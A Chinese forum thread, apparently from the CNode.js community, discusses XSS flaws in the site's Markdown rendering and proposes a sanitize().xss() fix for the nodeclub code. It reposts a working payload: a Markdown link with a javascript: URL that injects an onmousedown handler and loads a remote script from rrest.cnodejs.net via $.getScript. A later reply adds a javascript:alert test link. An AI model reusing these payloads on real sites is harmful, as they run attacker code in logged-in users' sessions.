不知道昨天是不是官方升级修复了XSS漏洞? 让我们来试一下,看看漏洞是否健在? 下面是 @snoopy 同学写的原文, 链接地址也是只字未改:
自从我在cnodejs官网上发布了一篇关于《xss和csrf讨论》的文章后,cnodejs开始了一轮xss注入热潮,各种alert弹窗,自动回复以及修改页面等等。最后袁锋(suqian)只能将所有的markdown标签的html标签禁用,才平息了这场风波。 但是真的将所有的html标签都禁用了就没有漏洞了吗? 感兴趣的同学可以去我的博客原文看看,传送门如下 亲本链接只对chrome有效,亲登陆了再点哦~
[传送门][1]
[1]: javascript:$.getScript%28%27http://rrest.cnodejs.net/static/cnode_csrf.js%27%29//%22id=%27xss%27name=%27http://rrest.cnodejs.net/static/cnode_csrf.js%27onmousedown=%27$.getScript%28this.name%29//%27
##其实防XSS攻击很简单, 下面的方法一针见效:
var content = sanitize(Showdown.parse(topic.content)).xss();
我崇拜snoopy,他是英雄!
var content = sanitize(content).xss();
content = sanitize(Showdown.parse(content)).xss();
也就是说, nodeclub代码在用Showdown
输出 topic 和 reply 的内容时, 不需要先进行标签过滤( Util.escape
), 而只需直接:
sanitize(Showdown.parse(topic.content)).xss();
我已经在最新版的 cnodejs-nodeclub 源代码上修改成功! 修改后的topic显示代码如下:
//topic.content = Showdown.parse(Util.escape(topic.content));//原显示
topic.content = sanitize(Showdown.parse(topic.content)).xss();
经过 sanitize(content).xss()
处理后, 安全的 markdown
和 HTML
标签仍将得到保留, 而那些危险的脚本和标签才会被过滤——要么直接删除,要么显示“[removed]
!
都在忙着上海的hujs啊,大婶们没空
我崇拜snoopy,他是英雄!
@leizongmin 要不你继续挠挠他们痒痒!
[诶诶][1]
[1]: javascript:alert%280%29
我崇拜snoopy,他是英雄!
我崇拜snoopy,他是英雄!